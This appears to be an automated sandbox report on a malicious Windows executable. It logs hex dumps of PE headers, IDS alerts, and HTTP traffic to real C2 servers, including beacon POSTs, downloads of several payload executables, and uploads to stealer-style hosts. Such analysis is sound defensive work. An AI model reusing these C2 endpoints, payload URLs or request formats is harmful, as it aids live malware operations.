00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 68 51 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 68 51 01 00 00 40 0d 00 00 52 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 a0 0e 00 00 76 00 00 00 46 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 13:27:19 GMTContent-Type: application/octet-streamContent-Length: 1782272Last-Modified: Thu, 12 Dec 2024 13:19:17 GMTConnection: keep-aliveETag: "675ae2d5-1b3200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 50 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 68 00 00 04 00 00 5b fb 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 66 75 62 76 69 75 66 00 90 19 00 00 b0 4e 00 00 8c 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6c 6c 72 61 62 6b 63 00 10 00 00 00 40 68 00 00 06 00 00 00 0a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 68 00 00 22 00 00 00 10 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /detct0r HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 36 32 37 37 30 42 37 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB62770B75C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 30 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014060001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/5996006993/M5iFR20.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 30 38 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014081001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/399764519/W4KLQf7.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 33 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014365001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 33 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014398001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 34 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014402001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/encoxx/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 34 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014403001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/hell911/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 34 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014404001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 34 34 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014405001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: LVLT-10753US LVLT-10753US
Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View	JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49758 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49775 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49788 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49801 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49781 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49837 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49865 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49878 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49884 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49900 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49907 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49912 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49926 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49928 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50056 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50073 -> 172.67.213.48:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drive-connect.cyou
Source: global traffic	HTTP traffic detected: POST /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32X-Sec-Id: 0Content-Length: 18084Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32X-Sec-Id: 3
Source: global traffic	HTTP traffic detected: GET /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32
Source: global traffic	HTTP traffic detected: POST /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32X-Sec-Id: 1Content-Length: 0Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drive-connect.cyou
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: grahm.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 46Host: drive-connect.cyou
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----NYCBAAI58YMYM7QQ9ZM7User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: grahm.xyzContent-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32X-Sec-Id: 3
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----Q1DTJW47QQ9RQQIMOZU3User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: grahm.xyzContent-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LVQAN8OZ9EYI9H4VY8QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18168Host: drive-connect.cyou
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----1NG4WBAS0ZUAAIWBIWL6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: grahm.xyzContent-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0YSECOK8365WM2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8759Host: drive-connect.cyou
Source: global traffic	HTTP traffic detected: GET /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32
Source: global traffic	HTTP traffic detected: POST /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C526F616D696E675C4D6963726F736F66745C57696E646F77735C5374617274204D656E755C50726F6772616D735C537461727475705C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32X-Sec-Id: 0Content-Length: 18162Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: POST /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32X-Sec-Id: 1Content-Length: 0Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C526F616D696E675C4D6963726F736F66745C57696E646F77735C5374617274204D656E755C50726F6772616D735C537461727475705C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32X-Sec-Id: 3
Source: global traffic	HTTP traffic detected: GET /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C526F616D696E675C4D6963726F736F66745C57696E646F77735C5374617274204D656E755C50726F6772616D735C537461727475705C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32
Source: global traffic	HTTP traffic detected: POST /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C526F616D696E675C4D6963726F736F66745C57696E646F77735C5374617274204D656E755C50726F6772616D735C537461727475705C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32X-Sec-Id: 1Content-Length: 0Content-Type: application/x-www-form-urlencoded

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

Code function: 0_2_0068E0C0 recv,recv,recv,recv,

0_2_0068E0C0

Source: global traffic	HTTP traffic detected: GET /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32X-Sec-Id: 3
Source: global traffic	HTTP traffic detected: GET /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32
Source: global traffic	HTTP traffic detected: GET /detct0r HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: grahm.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32X-Sec-Id: 3
